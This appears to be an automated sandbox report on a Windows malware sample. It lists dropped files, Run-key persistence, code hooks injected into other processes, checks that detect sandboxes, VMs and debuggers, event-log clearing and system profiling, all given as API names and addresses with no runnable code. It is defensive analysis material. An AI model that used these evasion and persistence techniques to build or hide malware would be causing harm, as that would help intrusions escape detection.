Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	File created: C:\Program Files (x86)\6fjdie\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	File created: C:\Program Files (x86)\6fjdie\MSVCP140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	File created: C:\Program Files (x86)\6fjdie\libcef.dll	Jump to dropped file
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	File created: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Jump to dropped file

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Code function: 0_2_004107D9 GetSystemMenu,AppendMenuW,AppendMenuW,SendMessageW,SendMessageW,SendMessageW,_memset,_memset,_memset,_memset,_memset,_memset,_memset,_memset,_memset,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,CreateFileW,CloseHandle,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetCommandLineW,CommandLineToArgvW,_wcschr,_wcschr,_wcschr,GetWindowLongW,GetWindowLongW,GetWindowLongW,SetWindowLongW,CreateSolidBrush,LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_004107D9

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_03328A82 StartServiceA,CloseServiceHandle,CloseServiceHandle,Sleep,lstrlen,LocalSize,lstrlen,LocalReAlloc,lstrlen,lstrlen,lstrlen,LocalFree,

9_2_03328A82

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WINDOWS			Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WINDOWS			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Memory written: PID: 5296 base: 1310005 value: E9 8B 2F 15 76	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Memory written: PID: 5296 base: 77462F90 value: E9 7A D0 EA 89	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Memory written: PID: 5296 base: 1320007 value: E9 EB DF 17 76	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Memory written: PID: 5296 base: 7749DFF0 value: E9 1E 20 E8 89	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Memory written: PID: 1984 base: 1240005 value: E9 8B 2F 22 76	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Memory written: PID: 1984 base: 77462F90 value: E9 7A D0 DD 89	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Memory written: PID: 1984 base: 1250007 value: E9 EB DF 24 76	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Memory written: PID: 1984 base: 7749DFF0 value: E9 1E 20 DB 89	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Memory written: PID: 2772 base: 2E00005 value: E9 8B 2F 66 74	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Memory written: PID: 2772 base: 77462F90 value: E9 7A D0 99 8B	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Memory written: PID: 2772 base: 2E10007 value: E9 EB DF 68 74	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Memory written: PID: 2772 base: 7749DFF0 value: E9 1E 20 97 8B	Jump to behavior

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03325C44 IsWindow,GetWindowThreadProcessId,GetCurrentProcessId,GetWindowTextA,IsWindowVisible,lstrlen,LocalAlloc,LocalSize,GetClassNameA,lstrlen,IsWindowEnabled,IsWindowVisible,IsIconic,IsZoomed,lstrcpy,LocalReAlloc,		9_2_03325C44
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10027C20 IsWindow,GetWindowThreadProcessId,GetCurrentProcessId,GetWindowTextA,IsWindowVisible,lstrlen,LocalAlloc,LocalSize,GetClassNameA,lstrlen,IsWindowEnabled,IsWindowVisible,IsIconic,IsZoomed,lstrcpy,LocalReAlloc,		9_2_10027C20

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_10019A61 OpenEventLogW,ClearEventLogW,CloseEventLog,

9_2_10019A61

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_03336358 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_03336358

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: DAPIjX8.exe, 00000009.00000002.3244941197.00000000008B4000.00000020.00000001.01000000.0000000A.sdmp, DAPIjX8.exe, 0000000A.00000002.2726212590.00000000008B4000.00000020.00000001.01000000.0000000A.sdmp, DAPIjX8.exe, 0000000B.00000002.2806309730.00000000008B4000.00000020.00000001.01000000.0000000A.sdmp

Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	RDTSC instruction interceptor: First address: BC92C8 second address: BC92CF instructions: 0x00000000 rdtsc 0x00000002 xor cl, FFFFFF9Ah 0x00000005 mov eax, ebp 0x00000007 rdtsc
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	RDTSC instruction interceptor: First address: BF0B47 second address: 102AF4A instructions: 0x00000000 rdtsc 0x00000002 pop ecx 0x00000003 movzx eax, di 0x00000006 pop eax 0x00000007 cwd 0x00000009 jmp 00007F3EF8FFD667h 0x0000000e pop esi 0x0000000f movzx edx, cx 0x00000012 jmp 00007F3EF8DAB8A8h 0x00000017 pop ebx 0x00000018 xchg dh, dl 0x0000001a movsx edx, di 0x0000001d pop edx 0x0000001e jmp 00007F3EF8E54A5Ah 0x00000023 ret 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	RDTSC instruction interceptor: First address: 9BEAAF second address: 9BEAB3 instructions: 0x00000000 rdtsc 0x00000002 cwde 0x00000003 pop edi 0x00000004 rdtsc
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	RDTSC instruction interceptor: First address: 9BEAB3 second address: 8F4D48 instructions: 0x00000000 rdtsc 0x00000002 mov ebp, 3E4A5909h 0x00000007 pop ebp 0x00000008 xchg bh, bl 0x0000000a jmp 00007F3EF8DF972Ah 0x0000000f pop ebx 0x00000010 rdtsc

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Special instruction interceptor: First address: 102AF4A instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Dropped PE file which has not been started: C:\Program Files (x86)\6fjdie\VCRUNTIME140.dll			Jump to dropped file
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Dropped PE file which has not been started: C:\Program Files (x86)\6fjdie\MSVCP140.dll			Jump to dropped file

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

graph_0-42228

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	API coverage: 7.0 %
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	API coverage: 2.0 %
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	API coverage: 1.0 %

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe TID: 7628	Thread sleep time: -93000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe TID: 1196	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe TID: 1196	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C65270F GetLocalTime followed by cmp: cmp eax, 0ch and CTI: jle 6C652771h		9_2_6C65270F
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C65270F GetLocalTime followed by cmp: cmp eax, 0ch and CTI: jle 6C652771h		10_2_6C65270F

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0332A374 lstrcpy,lstrcat,CreateDirectoryA,GetLastError,FindFirstFileA,lstrcpy,lstrcat,lstrcat,lstrcpy,lstrcat,lstrcat,lstrcmp,lstrcmp,CreateDirectoryA,GetLastError,CopyFileA,_strstr,_strstr,CreateFileA,CreatePipe,CreateProcessA,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,CreatePipe,CreateProcessA,ReadFile,ReadFile,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,FindNextFileA,std::ios_base::_Ios_base_dtor,	9_2_0332A374
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033263C4 FindFirstFileA,FindClose,RemoveDirectoryA,Sleep,CreateFileA,GetFileSize,CreateFileA,GetFileSize,SetFilePointer,ReadFile,LocalAlloc,LocalFree,CloseHandle,Sleep,	9_2_033263C4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03321134 lstrcpy,FindFirstFileA,lstrcpy,_strstr,LocalAlloc,LocalReAlloc,LocalSize,Sleep,LocalFree,FindNextFileA,FindClose,	9_2_03321134
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0332A194 lstrcpy,CreateDirectoryA,FindFirstFileA,lstrcpy,lstrcpy,CreateDirectoryA,CopyFileA,FindNextFileA,	9_2_0332A194
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033210BD lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	9_2_033210BD
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033210DA lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	9_2_033210DA
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03322754 FindFirstFileA,FindClose,CreateFileA,Sleep,CreateFileA,CloseHandle,GetLastError,wsprintfA,	9_2_03322754
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033224F4 lstrlen,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	9_2_033224F4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033314C4 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	9_2_033314C4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03353AFC FindFirstFileExW,	9_2_03353AFC
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03321AD4 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlen,FindNextFileA,LocalFree,FindClose,	9_2_03321AD4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03321E14 FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,	9_2_03321E14
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03320EB3 FindFirstFileA,FindClose,FindClose,	9_2_03320EB3
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03321CE4 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,RemoveDirectoryA,	9_2_03321CE4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100230CD lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	9_2_100230CD
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10023110 lstrcpy,FindFirstFileA,lstrcpy,_strstr,LocalAlloc,LocalReAlloc,LocalSize,Sleep,LocalFree,FindNextFileA,FindClose,	9_2_10023110
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1002C170 lstrcpy,CreateDirectoryA,FindFirstFileA,lstrcpy,lstrcpy,CreateDirectoryA,CopyFileA,FindNextFileA,	9_2_1002C170
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1002C350 lstrcpy,lstrcat,CreateDirectoryA,GetLastError,FindFirstFileA,lstrcpy,lstrcat,lstrcat,lstrcpy,lstrcat,lstrcat,lstrcmp,lstrcmp,CreateDirectoryA,GetLastError,CopyFileA,_strstr,_strstr,CreateFileA,CreatePipe,CreateProcessA,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,CreatePipe,CreateProcessA,ReadFile,ReadFile,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,FindNextFileA,std::ios_base::_Ios_base_dtor,	9_2_1002C350
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100283A0 FindFirstFileA,FindClose,RemoveDirectoryA,Sleep,CreateFileA,GetFileSize,CreateFileA,GetFileSize,SetFilePointer,ReadFile,LocalAlloc,LocalFree,CloseHandle,Sleep,	9_2_100283A0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100334A0 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	9_2_100334A0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100244D0 lstrlen,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	9_2_100244D0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10024730 FindFirstFileA,FindClose,CreateFileA,Sleep,CreateFileA,CloseHandle,GetLastError,wsprintfA,	9_2_10024730
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10023AB0 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlen,FindNextFileA,LocalFree,FindClose,	9_2_10023AB0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10055AD8 FindFirstFileExW,	9_2_10055AD8
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10023CC0 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,RemoveDirectoryA,	9_2_10023CC0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10023DF0 FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,	9_2_10023DF0

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_03325404 GetLogicalDriveStringsA,QueryDosDeviceA,lstrlen,lstrcpy,lstrcpy,lstrcat,

9_2_03325404

Source: pXm5oVO3Go.exe, 00000000.00000002.2608012130.000000000086E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: pXm5oVO3Go.exe, 00000000.00000002.2608012130.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000002.2608012130.0000000000848000.00000004.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3245993542.000000000151E000.00000004.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3245993542.0000000001579000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: pXm5oVO3Go.exe, 00000000.00000002.2608012130.000000000086E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: DAPIjX8.exe, 00000009.00000002.3245993542.0000000001579000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	API call chain: ExitProcess graph end node	graph_0-42658
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	API call chain: ExitProcess graph end node	graph_0-41987
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	API call chain: ExitProcess graph end node	graph_9-145171
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	API call chain: ExitProcess graph end node	graph_9-144272
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	API call chain: ExitProcess graph end node

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_0-42253

Hides threads from debuggers

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Process queried: DebugObjectHandle	Jump to behavior

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_032FE051 GetNativeSystemInfo,VirtualAlloc,LoadLibraryA,LdrGetProcedureAddress,Sleep,

9_2_032FE051

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_03324334 EnumDisplaySettingsA,SystemParametersInfoA,PostMessageA,SystemParametersInfoA,PostMessageA,BlockInput,

9_2_03324334

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Code function: 0_2_006388F0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_006388F0

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_03317F74 GetProcessHeap,RtlAllocateHeap,VirtualAlloc,VirtualAlloc,VirtualFree,VirtualProtect,GetLastError,FormatMessageW,LocalAlloc,OutputDebugStringA,

9_2_03317F74

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

0_2_006554E8

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_03640B11 mov eax, dword ptr fs:[00000030h]	0_2_03640B11
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03351211 mov eax, dword ptr fs:[00000030h]	9_2_03351211
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_032FEB31 mov eax, dword ptr fs:[00000030h]	9_2_032FEB31
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0334989E mov eax, dword ptr fs:[00000030h]	9_2_0334989E
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100531ED mov eax, dword ptr fs:[00000030h]	9_2_100531ED
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1004B87A mov eax, dword ptr fs:[00000030h]	9_2_1004B87A

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_6C6D2D37 __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

9_2_6C6D2D37

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_0040EB30 SetUnhandledExceptionFilter,GetClassInfoW,InitCommonControlsEx,GdiplusStartup,	0_2_0040EB30
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_006388F0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_006388F0
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_00646E4E _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00646E4E
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_0364AD45 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0364AD45
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_0364DC2A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0364DC2A
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_1000DC26 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_1000DC26
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_1000AD41 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_1000AD41
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6B1F6A _malloc,std::exception::exception,std::exception::exception,__CxxThrowException@8,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_6C6B1F6A
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6B6D68 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_6C6B6D68
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6B1F75 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_6C6B1F75
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0333F32D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_0333F32D
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033379B3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_033379B3
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0333798B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_0333798B
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03336C46 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_03336C46
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10041309 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_10041309
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1003998F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_1003998F
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10038C22 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_10038C22
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6B6D68 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_6C6B6D68
